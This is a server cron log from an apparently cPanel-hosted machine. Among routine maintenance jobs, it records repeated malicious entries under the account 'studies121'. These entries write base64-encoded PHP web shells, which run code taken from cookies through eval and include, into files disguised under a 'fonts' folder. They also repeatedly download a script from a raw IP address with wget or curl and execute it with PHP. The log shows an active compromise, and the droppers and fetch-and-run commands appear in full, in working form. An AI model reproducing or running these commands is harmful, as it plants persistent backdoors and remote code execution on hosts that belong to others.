Sep  5 14:25:01 ip-184-168-122-23 CROND[3195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:25:01 ip-184-168-122-23 CROND[3201]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:25:01 ip-184-168-122-23 CROND[3198]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:25:01 ip-184-168-122-23 CROND[3200]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 14:25:01 ip-184-168-122-23 CROND[3202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:25:01 ip-184-168-122-23 CROND[3199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:25:01 ip-184-168-122-23 CROND[3197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:26:01 ip-184-168-122-23 CROND[3294]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  5 14:26:01 ip-184-168-122-23 CROND[3297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:26:01 ip-184-168-122-23 CROND[3299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:26:01 ip-184-168-122-23 CROND[3298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:26:01 ip-184-168-122-23 CROND[3300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:26:01 ip-184-168-122-23 CROND[3302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  5 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  5 14:27:01 ip-184-168-122-23 CROND[3545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:27:01 ip-184-168-122-23 CROND[3547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:27:01 ip-184-168-122-23 CROND[3546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:27:01 ip-184-168-122-23 CROND[3548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:28:01 ip-184-168-122-23 CROND[3626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:28:01 ip-184-168-122-23 CROND[3627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:28:01 ip-184-168-122-23 CROND[3624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:28:01 ip-184-168-122-23 CROND[3628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:28:01 ip-184-168-122-23 CROND[3625]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:29:01 ip-184-168-122-23 CROND[3720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:29:01 ip-184-168-122-23 CROND[3719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:29:01 ip-184-168-122-23 CROND[3721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:29:01 ip-184-168-122-23 CROND[3722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:30:01 ip-184-168-122-23 CROND[3816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:30:01 ip-184-168-122-23 CROND[3817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:30:01 ip-184-168-122-23 CROND[3820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:30:01 ip-184-168-122-23 CROND[3818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 14:30:01 ip-184-168-122-23 CROND[3819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:30:01 ip-184-168-122-23 CROND[3821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:30:01 ip-184-168-122-23 CROND[3822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:30:01 ip-184-168-122-23 CROND[3823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:31:01 ip-184-168-122-23 CROND[3939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:31:01 ip-184-168-122-23 CROND[3941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:31:01 ip-184-168-122-23 CROND[3942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:31:01 ip-184-168-122-23 CROND[3943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:31:01 ip-184-168-122-23 CROND[3944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 14:32:01 ip-184-168-122-23 CROND[4029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:32:01 ip-184-168-122-23 CROND[4030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:32:01 ip-184-168-122-23 CROND[4028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:32:01 ip-184-168-122-23 CROND[4032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:32:01 ip-184-168-122-23 CROND[4031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:33:01 ip-184-168-122-23 CROND[4224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:33:01 ip-184-168-122-23 CROND[4225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:33:01 ip-184-168-122-23 CROND[4226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:33:01 ip-184-168-122-23 CROND[4223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:34:01 ip-184-168-122-23 CROND[4322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:34:01 ip-184-168-122-23 CROND[4325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:34:01 ip-184-168-122-23 CROND[4327]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 14:34:01 ip-184-168-122-23 CROND[4328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:34:01 ip-184-168-122-23 CROND[4326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4431]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4432]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:35:01 ip-184-168-122-23 CROND[4439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:35:01 ip-184-168-122-23 CROND[4442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:36:02 ip-184-168-122-23 CROND[4534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 14:36:02 ip-184-168-122-23 CROND[4536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 14:36:02 ip-184-168-122-23 CROND[4537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 14:36:02 ip-184-168-122-23 CROND[4538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 14:36:02 ip-184-168-122-23 CROND[4539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
